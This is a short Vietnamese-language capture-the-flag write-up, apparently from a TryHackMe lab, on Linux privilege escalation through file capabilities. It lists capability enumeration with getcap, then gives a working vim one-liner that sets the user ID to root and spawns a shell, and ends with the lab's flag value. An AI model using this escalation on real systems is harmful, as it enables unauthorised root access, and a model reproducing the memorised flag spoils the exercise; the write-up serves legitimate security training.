Description

Linux Privilege Escalation

Approach

Linux sử dụng danh sách “capabilities” để quản lý mức độ quyền của các tập tin nhị phân và các tiến trình một cách chi tiết.

Để kiểm tra danh sách các capabilities của người dùng hiện tại thì ta dùng lệnh sau:

getcap -r / 2>/dev/null

Do khi chạy với unprivileged user thì sẽ có rất nhiều lỗi nên ta redirect chúng qua /dev/null.

Minh họa output:

username@hostname:~$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/home/karen/vim = cap_setuid+ep
/home/ubuntu/view = cap_setuid+ep

Chúng ta có thể dùng GTFOBins để tìm ra những câu lệnh có thể dùng để khai thác capabilities. Chẳng hạn với vim thì có các câu lệnh sau:

Sao chép vim vào thư mục hiện tại:

cp $(which vim) .

Thực hiện leo thang đặc quyền:

./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

Sau đó vào /home/ubuntu để đọc file flag4.txt và ta thu được flag.

Flag

Success

THM-9349843